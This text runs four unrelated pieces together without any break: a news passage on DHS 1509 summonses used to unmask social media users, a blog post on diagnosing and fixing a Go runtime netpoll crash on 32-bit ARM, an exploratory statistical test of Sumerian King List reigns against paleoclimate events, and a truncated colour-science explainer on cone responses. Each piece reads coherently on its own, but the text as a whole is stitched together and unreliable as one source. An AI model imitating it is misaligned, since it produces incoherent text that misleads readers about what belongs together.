Many social media companies say they notify users when law enforcement makes a request for their information and give them a chance to contest the summons. It’s not always clear what the companies will do if the user doesn’t respond or won’t contest the request themselves. But privacy experts question whether that notice is adequate, saying many users are confused when they are contacted and do not have the resources to get a lawyer to contest the demand in court.

“They want people to think that they are going to stand up for people’s privacy, but they really shifted the burden completely onto the user,” said Lauren Regan, executive director of the Civil Liberties Defense Center, which represented a Reddit user who challenged the government’s efforts to get Reddit to reveal their identity through a 1509 summons.

Companies are not required to respond to a 1509 summons and can ignore the request if they think it is unlawful, forcing the government to go to court to try to enforce the summons. The Guardian was unable to identify any cases where the government attempted to get a court order to enforce a 1509 summons outside of the traditional customs context. Companies can also file their own motions to try to quash the summonses.

That’s concerning because the information demanded can help the government uncover a journalist’s confidential sources

Caitlin Vogus, Freedom of the Press Foundation

“If a user actually hired a lawyer, it would cost tens of thousands of dollars to fight one of these,” said F Mario Trujillo, a lawyer at the Electronic Frontier Foundation, a privacy watchdog. “They are not shouldering that burden; they’re pushing that cost onto users and onto non-profit groups when they could easily get their high-powered lawyers who are being paid $500 to $1,000 an hour to fight these.”

In 2017, Twitter filed a lawsuit challenging a Department of Homeland Security 1509 summons seeking to unmask an account, @alt_uscis, that was critical of the DHS. The department ultimately withdrew the summons.

In several cases, the DHS has withdrawn a 1509 summons after it was challenged in court and before a judge could rule on its legality. That may be a deliberate strategy to avoid having a judge rule on the legality of the summons.

In one instance last year, the DHS served a 1509 summons on Meta to unmask the user behind an Instagram and Facebook account that monitored ICE agent activities in the Philadelphia suburbs. The user challenged the summons in court, saying it was clearly not authorized under the law. Lawyers for the DHS defended the summons, saying it fell within the scope of laws the DHS enforced. Both sides presented arguments before a judge on 15 January and DHS withdrew the summons the next day.

“They don’t want a judge to take away this scary tool because they are getting stuff out of it,” Regan said. “Once a court ruling says ‘thou shalt not use this statute’, it does not apply.”

In 2017, the DHS inspector general issued a report finding “inconsistent – and, in some cases, improper” – use of the 1509 summonses after the @alt_uscis case.

The office of the inspector general review found that officials in Customs and Border Protection’s office of professional responsibility were regularly misusing the subpoena and recommended a series of reforms to ensure more oversight over those that were used. The office agreed to the reforms.

Our daily work usually revolves around Linux and security topics, deep down in the software stack. Still, more often than you might think, we end up debugging applications which live much higher up. Sometimes such a problem has its roots in the Linux kernel, sometimes elsewhere. In this blog post we show how we found and fixed a bug inside the Go runtime.

Recently a customer reported that an application written in Go crashes from time to time on one of their embedded Linux systems.

Introduction

The crash was always the same fatal error with the following signature:

runtime: netpoll: eventfd ready for 5
fatal error: runtime: netpoll: eventfd ready for something unexpected
...stack trace...

At first we assumed that the application itself was buggy and needed fixing. But after inspecting the error more closely, it looked much more like an internal assumption in Go’s netpoll mechanism no longer holds.

The error message comes from netpoll() in src/runtime/netpoll_epoll.go:

if ev.Events != linux.EPOLLIN {
        println("runtime: netpoll: eventfd ready for", ev.Events)
        throw("runtime: netpoll: eventfd ready for something unexpected")
}

In this code path, the netpoll code expects EPOLLIN to be the only firing event, but it got something else. In our case it got 5, which is EPOLLIN|EPOLLOUT. Why would epoll suddenly report more than EPOLLIN if the code asked only for EPOLLIN?

Before digging deeper, we threw the error message into a search engine, hoping that somebody else had faced the same issue before. This led us straight to a report in the Go project’s issue tracker: runtime: netpoll: eventfd ready for something unexpected.

The issue describes exactly the fatal error we saw. Also on a 32-bit ARM embedded Linux system! The reporters also noted that the crash happens in applications which run for a long time. That matched our customer’s description, too. Bingo!

The issue had been open and unresolved since March 2025. The Go maintainers had also rejected one attempt to fix the problem.

From the comments on the issue we learned that the fatal error only ever showed up on 32-bit ARM and i386 Linux systems, with all kinds of kernel versions. Some kernels were rather old, others recent. Not a single reporter saw it on an x86_64 or arm64 system.

Accepting the Challenge

The problem had multiple reporters but no fix, so we decided to dig into the issue ourselves. At the very least we could give the Go folks better input.

Initially we suspected that epoll behaves differently on 32-bit ARM or i386. We ditched this idea quickly since epoll is generic core code in the kernel. Why would it return a spurious event set only on 32-bit ARM or i386?

Still, the fact that the error showed up only on 32-bit systems gnawed at us. As a next step we reviewed the epoll usage in Go’s netpoll code. With the help of an LLM we went through src/runtime/netpoll_epoll.go, focusing on 32-bit pitfalls such as integer conversions.

The review revealed that Go’s netpoll code uses the data field of struct epoll_event. Linux epoll can store an 8 byte cookie in the kernel and returns it as part of the firing event to user space. Applications use this cookie to attach metadata to an event, for example to tell different event sources apart.

struct epoll_event {
    __poll_t  events;   /* ev.Events in Go netpoll */
    __u64     data;     /* ev.Data in Go netpoll */
};

Deep inside the Go runtime, the main event handler needs to know whether an event belongs to an event fd or a socket fd. It decides by comparing ev.Data to the address of its internal event fd object:

if *(**uintptr)(unsafe.Pointer(&ev.Data)) == &netpollEventFd {
...
}

Reading further through the code showed that ev.Data holds either a raw pointer to netpollEventFd or a tagged pointer to a per-socket object, pollDesc. The pointer tag is a counter, fdseq, which distinguishes recycled pollDesc objects.

So far so good. Mixing raw and tagged pointers in the same field looked fishy to us. But how this relates to the crash was not clear yet.

Inspecting how Go lays out tagged pointers in memory finally revealed the core of the issue.

The Aha Moment

On 32-bit platforms, Go’s tagged pointer logic packs the full 32-bit address and up to 32 tag bits into an 8 byte word. The tag goes into the lower 4 bytes and the address into the upper 4 bytes.

Storing a tagged pointer with address 0x00123456 and tag 0x12 fills ev.Data like this:

 ev.Data[0:4]        ev.Data[4:8]
+------------------+-------------------+
|  fdseq           |  *pollDesc        |
|  e.g. 0x00000012 |  e.g. 0x00123456  |
+------------------+-------------------+

Storing the raw pointer, on the other hand, leaves the following contents in ev.Data:

 ev.Data[0:4]       ev.Data[4:8]
+------------------+-------------------+
|  &netpollEventFd |  0 (untouched)    |
|  e.g. 0x00123456 |  0x00000000       |
+------------------+-------------------+

The lower 4 bytes hold the address of the object. The upper 4 bytes stay untouched since an address is only 4 bytes long on a 32-bit system.

This finally shows the root of the problem. The comparison of ev.Data with &netpollEventFd evaluates only the lower 4 bytes of ev.Data. The code casts ev.Data to uintptr, which is 4 bytes on 32-bit platforms. So the address of the netpollEventFd object aliases with fdseq.

As soon as fdseq grows large enough to match &netpollEventFd, the netpoll logic mistakes a socket fd for an event fd. Internal assumptions fall apart, among them the assumption that the ready event is just EPOLLIN.

Note that this aliasing can only happen on 32-bit little endian systems. On a 64-bit system, the comparison always covers the whole 8 bytes. On a 32-bit big endian system, the comparison would read the upper 4 bytes, which contain the address.

fdseq needs to grow into the millions before it matches &netpollEventFd. That’s why the problem shows up only in long-running programs which create lots of pollDesc objects over time. On a typical 32-bit ARM Linux system, netpollEventFd resides in a read-only section within the first 3 MiB of the address space, as the memory map of our test program shows:

$ pmap `pidof netpoll_test`
204:   /opt/netpoll_test
00010000   2696K r-x-- netpoll_test
002c0000   2192K r---- netpoll_test
004f0000    180K rw--- netpoll_test
...

So fdseq needs to reach a value of about 3 million before the crash can happen.

A Test Case

We also created a standalone test case for the problem. On our test systems, it triggered the crash within a few minutes:

$ /tmp/repro.arm.system
netpoll eventfd-alias reproducer (GOOS=linux GOARCH=arm)
runtime.netpollEventFd is at address 0x223008
crash expected around cycle 2240520

cycle 2236988runtime: netpoll: eventfd ready for 4
fatal error: runtime: netpoll: eventfd ready for something unexpected

runtime stack:
...

Fixing the Issue

We proposed a fix which changes how netpoll tells event fds and socket fds apart. Instead of storing the raw pointer &netpollEventFd, the fix stores a nil pollDesc as a tagged pointer. When unpacking the tagged pointer yields nil, the event belongs to the event fd, otherwise to a socket fd. This way ev.Data always contains a tagged pointer and the aliasing is gone. A few days later our fix was merged.

Summary

A Go application crashed sporadically on a 32-bit ARM embedded Linux system with a fatal netpoll error. The error looked like an epoll problem, but epoll worked just fine. The Go runtime stores both a raw pointer to netpollEventFd and tagged pollDesc pointers in the 8 byte ev.Data field. On 32-bit little endian systems, the raw pointer aliases with the fdseq tag. Once a long-running program has recycled millions of pollDesc objects, netpoll mistakes a socket fd for the event fd and crashes. Our fix stores a tagged nil pollDesc for the event fd instead, which removes the aliasing.

The bug slipped into the Go runtime with Go 1.14 in 2020. It went unnoticed until the first report in March 2025 and finally got fixed in 2026. We can only speculate, but this suggests that Google itself no longer runs any 32-bit Go programs. Otherwise they would have hit the bug themselves long before we did.

We’d like to thank Frequentis AG for providing the budget to analyze and fix the problem.

Context

The Sumerian King List starts with eight kings who ruled before the flood. Their reign lengths are enormous and unusually regular. Three examples are 28,800 years, 36,000 years, and 43,200 years. Most are integer multiples of 3,600, and all eight are multiples of 600. Their total is 241,200 years.

The input sequence tested here is the ETCSL composite antediluvian list:

Order King Reign length 1 Alulim 28,800 years 2 Alalgar 36,000 years 3 Enmenluana 43,200 years 4 Enmengalana 28,800 years 5 Dumuzid 36,000 years 6 Ensipadzidana 28,800 years 7 Enmenduranna 21,000 years 8 Ubara-Tutu 18,600 years Total 241,200 years

The transliterations follow the composite text cited below. Like the post-flood sections of the King List, the antediluvian list is a textual tradition with variants, so the table is an analysis input rather than a claim about literal historical reigns.

One speculative interpretation treats these numbers as a distorted memory of prehistory. Under this hypothesis, the reign boundaries encode real climate shifts, eruptions, impacts, or sea-level changes. After rescaling and anchoring the list to a proposed flood date, the boundaries should coincide with dated events in the geological record.

Here, I test that idea with an exploratory analysis. The explorer rescales each chronology to a fixed 241.2 ka span, anchors one boundary, and compares the resulting dates with a catalog of Quaternary events. I use 11.6 ka BP, or about 11,600 years ago, as an analyst-chosen anchor near the Younger Dryas termination. The King List does not provide that date or suggest this paleoclimate interpretation.

Finding matches is easy. With nine boundaries and freedom to change the anchor or bandwidth, chance alignments are common. The relevant question is whether the observed Sumerian reign order scores unusually high under a clearly defined null model.

Results

• In the primary paleoclimate catalog, the Sumerian sequence does not show a statistically significant alignment. At the fixed 11.6 ka anchor and a kernel bandwidth of σ = 1.60 ka, the permutation p-value is 0.350. After adjustment for multiple comparisons, q = 0.622.
• Expanding the analysis to all 103 usable catalog entries increases the number of apparent matches but does not change the conclusion. At the same bandwidth, the wide-catalog p-value is 0.148 and the adjusted q-value is 0.430.
• The smallest raw p-value for the Sumerian sequence occurs in the catastrophic exploratory catalog at σ = 1.60 ka: p = 0.021. This was the best result found in a larger exploratory search. After adjustment for all comparisons, q = 0.222, so the result does not support the hypothesis.
• As a secondary check, I also count how many events fall within a fixed distance of a boundary. The kernel score is the main measure because it gives less weight to events farther away instead of using an abrupt cutoff.

What Would Count as Evidence?

A credible alignment would need to meet three conditions.

First, the text must determine which boundary to anchor. The Sumerian King List places the flood after the eighth reign, so I anchor the end of the antediluvian sequence. The text does not assign that boundary an absolute date. I use 11.6 ka BP as an analyst-chosen date near the Younger Dryas termination.

Second, the Sumerian sequence should look unusual next to other ancient chronologies. I compare it with a sequence derived from Biblical patriarchal ages, seven god and demigod reigns from the Manethonian fragment preserved in the Excerpta Latina Barbari, and the first eight listed Kish I rulers. These are examples for comparison, not independent statistical controls, and I do not test whether one chronology outperforms another. They show how readily unrelated ancient sequences can produce apparent matches under the same procedure.

Third, a credible result should remain significant after accounting for the tested chronologies, catalog tiers, and bandwidths. None does.

Interactive Explorer

Use the selectors below to switch chronology, catalog tier, and bandwidth. The primary paleoclimate catalog defines the main analysis. The wide and catastrophic catalogs provide exploratory sensitivity analyses. The fixed-anchor section uses p-values precomputed in Rust. The sliding-anchor section recomputes the anchor sweep in the browser.

Sumerian King List alignment explorer with fixed-anchor p-values and exploratory anchor sweeps.

How to Read the Numbers

The main statistic is a Gaussian kernel proximity score:

S = Σᵢ Σⱼ exp(-(tᵢ - bⱼ)² / 2σ²)

Here tᵢ is an event date and bⱼ is a reign boundary. A nearby event contributes almost one point, while the contribution of a distant event approaches zero. This avoids the abrupt discontinuity of a hard cutoff, where an event just inside the window counts and one just outside does not.

The two statistical questions are different. The simplest way to see the difference is to ask what is allowed to move:

Method Held fixed Allowed to move What is reported Role Exhaustive permutation 11.6 ka anchor, catalog tier, bandwidth, and the same set of reign lengths The order of the reign lengths Fraction of all labeled orders that score at least as high as the observed order Primary p-value Random-anchor Monte Carlo Reign order, catalog tier, and bandwidth The anchor, or the local anchor window Fraction of sampled anchors or windows that score at least as high Secondary sensitivity check

The two bandwidths are calibrated to have the same total weight as hard windows extending 1 ka and 2 ka on either side of a boundary. Using σ = τ·√(2/π) gives σ ≈ 0.80 ka and σ ≈ 1.60 ka. The browser truncates the kernel at 4σ for speed, matching the Rust precomputation.

The primary analysis fixes the anchor at 11.6 ka BP and reports the observed kernel score, a raw permutation p-value, and a q-value adjusted for multiple comparisons. The p-value comes from an exhaustive permutation test, not Monte Carlo sampling. The program checks every possible reign order. With the anchor, catalog tier, bandwidth, and set of reign lengths held fixed, the p-value is the fraction of those orders whose kernel score is at least as large as the observed score. Under this null model, every reign order is treated as equally plausible. The test does not account for choosing the anchor, catalog, bandwidth, or score after inspecting the data.

The primary catalog includes the Younger Dryas termination used to motivate the 11.6 ka anchor, so the terminal match is built into the setup. Its contribution is constant across reign-order permutations and is not evidence that the internal sequence is unusual.

The secondary anchor search asks how the result changes when the anchor is optimized after inspecting the data. It compares the maximum in the fixed 10 to 13 ka window with maxima from 3,000 windows whose centers are sampled uniformly from 0 to 100 ka. Both the fixed and random windows use a 3 ka width and 0.1 ka anchor spacing. The displayed Monte Carlo estimate adds one to both the exceedance count and the trial count so that a finite simulation never reports a probability of exactly zero. It is not the article’s primary p-value.

The fixed-anchor result card also reports a separate random-anchor sensitivity value. For each chronology, catalog tier, and bandwidth, the Rust program compares the score at 11.6 ka with scores from six million anchors sampled uniformly from 0 to 100 ka. This calculation is distinct from the browser’s 3,000-window maximum-score estimate. Neither value is the primary p-value.

Data and Comparators

The source catalog contains 104 dated events from the Quaternary period, grouped into 11 categories. The primary analysis uses a narrower paleoclimate catalog containing Heinrich-event dates, Greenland Interstadial onset dates, and selected Holocene climate-event dates. The resulting primary catalog contains 39 events within the 0 to 260 ka BP analysis window.

The wide exploratory catalog contains all 103 usable entries, including the 39 primary entries. It also includes meltwater pulses, Marine Isotope Stage boundaries, large volcanic eruptions, impact structures and contested impact hypotheses, geomagnetic excursions, extreme solar proton events, megafauna extinction nodes, and major cultural transitions. The catastrophic and deep-time tiers provide overlapping sensitivity analyses. Lonar is kept in the source catalog but excluded from the dashboard because it falls outside the analysis window.

Each entry records a selected date, an approximate uncertainty, source information, and whether the event is contested. The uncertainty values were estimated in different ways, so they are not directly comparable and should not all be read as standard errors. The current analysis uses only the selected dates. The wide catalog is still exploratory, even though every entry has a documented source.

For the Biblical comparator, the first eight values are patriarchal lifespans and the final 600 is Noah’s age at the flood. For the Excerpta Latina Barbari comparator, I use the seven named god and demigod reigns listed in that fragment: Hephaestus 680, Helios 77, Sosinosiris 320, Orus 28, Typhon 45, Anubes 83, and Amusis 67 years. For Kish I, I use the first eight rulers in the ETCSL composite text; that tradition has manuscript variants, so the comparator should be read descriptively rather than as a fixed historical chronology.

Each chronology is transformed in the same way. Reign lengths are rescaled so the total span equals the Sumerian antediluvian total of 241.2 ka, then converted to absolute dates by anchoring one boundary and accumulating durations backward in time. This normalization removes total duration as a factor and compares only the relative spacing of the boundaries.

The Rust program reads the same events.json catalog published with this article. It runs six million random-anchor trials per chronology, catalog tier, and bandwidth, runs exhaustive permutation tests, applies the Benjamini-Hochberg correction to the permutation p-values, and writes the result table used by the page. The TypeScript explorer loads the public catalog and result table, then calculates and displays the live anchor sweep.

Implementation Note

The expensive work runs offline in Rust rather than in the browser. The primary test is small enough to enumerate exactly: the Sumerian and Kish sequences each have 8! = 40,320 labeled orders, the Excerpta Latina Barbari sequence has 7! = 5,040, and the Biblical comparator has 9! = 362,880. Repeated reign lengths are still treated as labeled positions, so the null model asks whether this order is unusual among all reorderings of the same values.

The core calculations are explicit in the source: Gaussian kernel scoring, Heap’s algorithm for permutations, the random-anchor sensitivity check, the Benjamini-Hochberg step-up adjustment, and the deterministic JSON writer. The random-anchor sensitivity checks use a fixed seed, so rerunning cargo run --release regenerates the published result file rather than producing a new simulation each time.

Caveats

A Benjamini-Hochberg adjustment for multiple comparisons covers the 32 fixed-anchor permutation tests. It does not correct for earlier experimentation with event inclusion, anchor choices, score definitions, or comparator construction. Because this is an exploratory analysis and the full set of tests was not specified in advance, the q-values summarize this search rather than confirm a finding. No comparison has q < 0.05.

The catalog was assembled editorially rather than through a systematic review or an inclusion protocol defined in advance. Several entries describe related parts of the same climate sequence, so the 39 primary dates should not be interpreted as 39 independent observations. The permutation test keeps this catalog fixed; it cannot make the catalog independent or complete.

Catalog density varies substantially over time. Recent events are more numerous and generally better dated, so chronologies with Holocene boundaries have more opportunities to match an event. The permutation test partly addresses this imbalance by holding the anchor and event catalog fixed while changing only the reign order.

The deep-time sensitivity tier removes the crowded recent record by using only dates older than 60 ka. The Sumerian sequence scores at or below chance at both bandwidths.

The analysis does not carry dating uncertainty through the calculations. Several entries have uncertainties wider than the fixed matching windows, and the Younger Dryas impact hypothesis remains disputed. Treating every entry as an exact date overstates the precision of the result.

The reported p-values and q-values do not fully account for analyst choices, including decisions made after inspecting the matches. The interface exposes some of these choices, but the analysis remains exploratory.

Data and Code

The event catalog and generated result table are public and machine-readable:

• Event catalog with source metadata
• Precomputed dashboard result JSON
• Fixed-anchor Rust precompute, browser script, catalog, and results release v0.2.1

The event catalog records the analysis tier, date estimate, uncertainty, source URL, contested flag, and editorial notes for each entry. The result file contains the values generated by the Rust program and displayed by the browser explorer.

Selected Sources

• The Electronic Text Corpus of Sumerian Literature, Sumerian King List
• CDLI record for the Sumerian King List tradition
• Hemming 2004, Heinrich events
• Rasmussen et al. 2014, INTIMATE event stratigraphy for Greenland ice cores
• Lisiecki and Raymo 2005, LR04 benthic stack
• Earth Impact Database
• The Fragments of Manetho, Book I, including Excerpta Latina Barbari

Next Steps

A future version should put the dating uncertainties on a more consistent basis and carry them through the calculations. Repeatedly sampling plausible dates for each event would produce a range of scores and hit counts instead of a single value for each.

A stronger analysis would use a catalog assembled independently and defined before any chronology is scored. Repeating the procedure with several such catalogs would test whether the result depends on the underlying event data or on editorial curation.

This analysis explores a specific alignment claim. It finds no statistically significant evidence that the Sumerian reign order encodes the paleoclimate catalog used here.

There are billions of monitors worldwide that can reproduce the exact same colour when instructed to. This in itself is an engineering marvel, but it glosses over the fact that this is only possible if there is a standard definition for colours in the first place. Earlier, colours were loosely defined using a limited set of words — most languages have at most twelve words to describe colours. These loose definitions are fine in most cases, but it is not precise enough for describing the tiny differences between similar looking colours that is required for accurate colour reproduction.

Same name, different colours

The above coloured rectangles shows some of the colours present in the above image. Despite being different, all the shades can be described by the same label — green. One could argue, they can be labelled as lime-green, olive-green, light-green, dark-green, etc to create some distinction. But this naming system is still clunky and highly inefficient. To display the above image accurately, there needs to be a way to describe the all the different shades of green uniquely without needing to resort to an ever-growing list of labels.

Image sourced from Pixabay, under CC0.

Instead of mapping colours to possibly millions of labels, it would be much simpler to use numbered units — the desired precision can then be achieved by simply using more or fewer digits. The idea of mapping colours to numbers might look odd, but it is not too far fetched. Most measurable physical phenomena have already been quantified (for eg. distances, temperature, etc). So if colours can be physically measured it should be easy to map them to numbers, in theory.

Defining colours using numbers also opens up interesting questions: What does addition or multiplication of colours look like? The process of quantifying colours will also reveal why colour hexcodes cannot show enough colours even with 16,777,216 values, and how a dress became a debate on the internet, and why colour blindness exists.

Spectral Power Distribution

The goal is to then measure colours as some physical entity. Unfortunately, colours are a subjective phenomenon. However the fact that most people can agree on the colour of something suggests that there must be at least something objective and physical about it. And there is. Colours are only visible in the presence of light, and that provides a huge clue as to what colours are.

Light is complicated, but it can be thought of as a bunch of wave-like particles, called photons — each carrying some specific amount of energy. The energy of these particles is determined by their wavelength or frequency.

The above is an interpretation of a photon, and is not necessarily accurate. The exact shape of photons is difficult to describe since photons exhibit both particle and wave-like behaviour. Trying to visualize photons as both a particle and a wave can get very tricky very quickly.

There are photons with different energies (or wavelengths). The different wavelengths of photons together form the electromagnetic spectrum. It is simply the full range photons energies, ordered by wavelength or frequency. The above wavelengths are not to scale.

The energy carried by photons can be physically measured, making it trivial to quantify light. To simplify comparisons between different types of light however, the energy measurements are normalized per unit time as power, and then normalized per unit area as intensity — where the area is the total area of the body radiating the photons/light.

So, light sources can be quantified using a singular intensity value. However, for reasons that will become more obvious later, light is actually represented using multiple intensity values — by measuring the intensity separately for photons at different wavelengths. The intensity-per-wavelength distribution is called the spectral power distribution.

Spectral power distribution

The above is an example of a spectral power distribution. The intensity at each wavelength depends on the number of photons at that wavelength and the energy of photons at that wavelength. The energy of a photon is inversely proportional to its wavelength, so the shorter wavelength photons shown above have a higher intensity for the same number of photons.

The spectral power distribution provides a way to quantify light. But this is all irrelevant until there is a quantitative way to define a relationship between colours and the spectral power distribution (light) as well.

Photoreceptor Cells

The biggest clue to finding that relationship is rather obvious — colour perception is not possible without light, but it is also not possible without eyes. Eyes are sensitive to light, but more importantly they react differently to different wavelengths of light.

To understand how eyes can distinguish between different wavelengths of light, it helps to know a little bit about human physiology. Eyes have different types of photoreceptor cells that have evolved to respond to photons with specific wavelengths. Unsurprisingly, these wavelengths are very similar to those emitted by the sun (380nm–750nm):

The above is an approximation of the spectral power distribution of the sun. Human eyes have evolved to become sensitive to these wavelengths to be able to perceive environments lit up by the sun.

Photons, depending on their energy (their wavelength), can ‘excite’ certain photoreceptor cells to produce a specific response. The human eye has two kinds of photoreceptor cells — rod cells and three types of cone cells. The different types of photoreceptor cells are sensitive to different wavelengths of light by differing amounts — some cone cells will not produce a significant response to lights with longer wavelengths but other cones may. The sensitivity curves of the different photoreceptor cells are shown below:

The sensitivity curves shown here are normalized approximations (for simpler visualizations and calculations), and are not accurate. In reality, the sensitivity curves are less smooth, and different types of cones have differing levels of sensitivity. For example, the sensitivity of S-cones is significantly lower compared to the other cones. Similarly, rods are more sensitive to light than any of the cones.

Because of the varying sensitivity curves, the cones can distinguish between different wavelengths of light. Consider a monochromatic light source (a light source with a near singular wavelength). The cones will produce a response to the light, depending on the wavelength of the light and how sensitive the cones are to that wavelength. However, since each type of cone has a different sensitivity, their response will be different for the same light.

The first graph is the spectral power distribution of the light source. Since it is monochromatic, the intensity narrowly peaks at some wavelength. The graph below shows the sensitivity curves of the cones. The diagram on the bottom represents the responses of the cones to the monochromatic light. The different cones produce different responses to the same monochromatic light source — because of their differing sensitivity.

This is in itself is not enough to help differentiate different wavelengths, but the way the sensitivity curves are (or have evolved to be) distributed makes it such that all different wavelengths will always correspond to a unique set of responses in the cones — making it possible to distinguish different wavelengths. The brain has evolved to interpret these unique responses as perceiving unique colours.

Notice how different wavelengths always result in a unique set of values. Wavelengths that are close to each other may produce similar cone responses and thus the brain interprets them as similar colours. But in general, wavelengths that are distinct will produce distinctly different responses and the brain will interpret them as different colours.

The colour in the above box is how the brain interprets the cone responses as a colour. The colours in the above box (and all subsequent boxes) is however just for illustration — it is an approximation and is not accurate. Also, the name in the above colour box is an example of a word-based definition. Notice here how imprecise they are — the same name correspond to lots of different shades of colours.

Rods are not shown in the above examples because they do not affect colour perception. In well-lit conditions, cones might produce different responses based on the wavelength of light. But in such conditions, the rod cells produce a saturated response since rods are more sensitive to light than cones. Since the response of rods in bright environments is indifferent to wavelengths, it cannot differentiate between distinct wavelengths, and thus does not have a major impact on colour perception — in bright conditions.

The sensitivity of the rods is represented here with respect to the sensitivity of the cones (but it is not-to-scale, and is still an approximation). Because of their high sensitivity, the response of rods remain saturated, and no meaningful information about the wavelength is obtained from the response. The set of cones responses however, remains varied for different wavelengths, and the distinct cone responses can be interpreted by the brain as distinct wavelengths.

In dark environments, rods produce a response when cones do not. But unlike cones, there is only one type of rod cell; there is no other type of rod cell with a slightly different sensitivity curve to help differentiate wavelengths. So, two light sources with different wavelengths can produce the same response in rods, and there is no way to differentiate the wavelengths from the singular response of the rods. The brain evolved to interpret the response of the rods as a singular luminance (brightness) value.

Different wavelengths can produce similar responses in the rods, and are thus perceived as similar by the brain. For example, a low intensity light of 492nm and 536nm can produce similar sets of responses in the rods (and cones), and so cyan and yellow-ish green may appear similar in the dark.

So rods cannot distinguish light of differing wavelengths regardless of whether it is dark or bright, and hence do not play a big role in colour perception.

Colour Blindness

Sometimes cone cells too may not be able to differentiate between different wavelengths of light. This can happen due to missing cones, or cones with overlapping sensitivity curves. Without the third cone, light with different wavelengths can produce a similar set of cone responses — differentiating between the wavelengths is again not possible. This results in colour blindness.

If the sensitivity curves of the M-cones overlap the sensitivity curves of the L-cones, then different wavelengths of light (for eg. 554nm and 604nm) can produce similar sets of responses in the cones — causing them to appear similar. This is not the case if the sensitivity of the M-cones and L-cones do not have significant overlap.

The type of cone anomaly determines the type of colour blindness. The sensitivity curve of the L-cones may shift towards shorter wavelengths (protanomaly), or the sensitivity of the M-cones can skew towards longer wavelengths (deuteranomaly). Some people might also lack functional L-cones (protanopia) or M-cones (deuteranopia) entirely. The result is similar in all the cases — reds and greens look similar. In very rare cases, people can have anomalous S-cones, resulting in tritanomaly and tritanopia.

The bars represent how colours of different wavelengths for people with normal colour vision might appear to people with colour blindness. The first bar shows unaltered colours. The second bar shows colours for people with protanopia, and the third depicts colours for people with deuteranopia. The fourth bar represents how colours appear to people with tritanopia.

In extremely rare cases, people might have only S-cones or no cone cells at all. Both will result in total colour blindness since there is no mechanism for differentiating light with different wavelengths.

Colour blindness also provides clues for why colour perception is subjective — not all people have three perfectly functioning cones, that have the exact same sensitivity curves as everyone else. Also, how exactly the brain interprets the responses as colours is still a debate. So even with identical sensitivity curves and cone responses, brains may interpret signals differently for some people, which can again lead to inconsistent colour perception among people.

Nonetheless, the same wavelengths of light are generally perceived consistently by most of the population. So, for the purpose of colour quantification, how the brain interprets the cone responses can be ignored, and standard cone sensitivity curves can be defined using the sensitivity curves of the majority of people with normal colour vision.

A standard set of sensitivity curves can be defined using the aggregate of the sensitivity curves of people with normal colour vision.

This results in a set of standardized sensitivity curves, which can be used for quantifying colours. However, before doing that, another type of colour needs to be addressed.

Non-Spectral Colours

Until now, only spectral colours (colours corresponding to monochromatic light) have been discussed. But most of the light around is not monochromatic; it is a combination of multiple wavelengths of light. This will slightly complicate the measurement of the cone responses. Earlier, for monochromatic light, the responses were simply the sensitivity values of the cones at the given wavelength. This does not work for non-monochromatic light since there is no singular, specific wavelength.

The first spectral power distribution shows a monochromatic light source. The second spectral power distribution shows a light source that is non-monochromatic, since it emits light over a much wider range of wavelengths. Notice how non-monochromatic light does not necessarily emit the same intensity of light at all wavelengths.

Instead, the responses for non-monochromatic light sources is calculated by finding the weighted average of all the responses — by computing the normalized area under the response curve. The response curve is simply the product of the cone sensitivity curves and spectral power distribution: The spectral power distribution describes the intensity of light for some given wavelengths. Meanwhile, the sensitivity curves describes the sensitivity of the cones at some given wavelengths. So, their product together describes the cone response at that wavelength. Measuring this product over all wavelengths (equivalent to calculating the area) gives the total response, which may be normalized if required (eg. responses are normalized for monochromatic light).

For example, this is what the cone responses for light corresponding to grey, pink, white, purple, and olive green look like:

The spectral power distribution can also be modified by drawing on it.

The response of the cones is the the total area under the curve that is obtained after multiplying the spectral power distribution and the cone sensitivity curves. The response may be normalized for light sources that have a very narrow wavelength range (eg. monochromatic light).

The colour of non-monochromatic light can look different from spectral colours because the set of cone responses produced for these types of lights may be different from the set of responses produced for spectral colours. The brain interprets these unique cone responses as a colour distinct from spectral colours. These colours are aptly referred to as non-spectral colours.

There are times when non-monochromatic light produces cone responses that are similar to the responses produced by spectral colours — making them appear similar to spectral colours. This phenomenon will be discussed later.

Colour Space

Since colours perception is ultimately dependent on the set of cone responses, it should be theoretically possible to represent colours using only the responses of the cones. And these responses should theoretically be enough to describe every perceivable colour. So, if the set of cone responses can be quantified, it should be possible for all colours to be quantified just as easily.

As mentioned earlier, the spectral power distribution of any light is both quantifiable and measurable. Similarly, while the cone sensitivity curves are subjective, for the purpose of colour quantification, an aggregate of the majority can be standardized and used. Since the response of the cones is dependent on these two factors — both of which can be quantified — the response, too, should be quantifiable. But only if there is a well-defined relationship between the two as well.

Again, as discussed in the non-spectral colours subsection, the biology virtuosos have already found a way to define that relationship — it is the normalized area under the response curve (the response curve itself is the point-wise product of the spectral power distribution and the photoreceptor sensitivity curves).

The response of the cones is the the normalized area under the curve of the response curve. The response curve is the point-wise product of the spectral power distribution and the cone sensitivity curves.

This relationship can be more formally described as:

L = ∫ J(λ)·l(λ)·dλ
M = ∫ J(λ)·m(λ)·dλ
S = ∫ J(λ)·s(λ)·dλ

Where J(λ) describes the spectral power distribution of the light, while l(λ), m(λ), and s(λ) are the sensitivity curves of the L-cones, M-cones, and S-cones. The responses are also normalized such that their maxima is equal to unity. This relationship quantifies cone responses to a spectral power distribution.

So the colour of any light or any object reflecting light can be precisely described by its (L,M,S) values — which can be derived by from its spectral power distribution. The set of all possible (L,M,S) values describes every perceivable colour, and all these possible values together form a three dimensional space, aptly called a colour space. More specifically, this is the LMS colour space, where colours are defined as a set of (L,M,S) values. The LMS colour space here is visualized below, where each of the responses of the cones is represented using a spatial dimension.

The LMS colour space

While all colours can be represented using LMS values — and hence will always be in the LMS color space, the reverse is not always true. Not all LMS values correspond to perceivable colours. Since the sensitivity curves of the M-cones overlaps the sensitivity curves of L-cones and S-cones, any type of light that excites the M-cones, must also excite the L-cones, or S-cones, or both. So ‘colours’ having LMS values such as (0,0.7,0) are imaginary. The imaginary values are represented as black in the above LMS colour space, but their actual colour is hard to approximate since these ‘colours’ do not appear naturally, and have only been replicated recently by shooting lasers directly to the retina.

So we achieved our goal — a way to quantify colours precisely, using numbers. Except this is not at all the standard used when describing colours. The LMS colour space is one way to describe colours, but is not the standard way to describe them.

As mentioned, defining the LMS values for a colour requires defining some relationship between the spectral power distribution and response of the cones. However, this is only possible if there is a set of standardized sensitivity curves. Without them, the responses cannot be measured or defined.

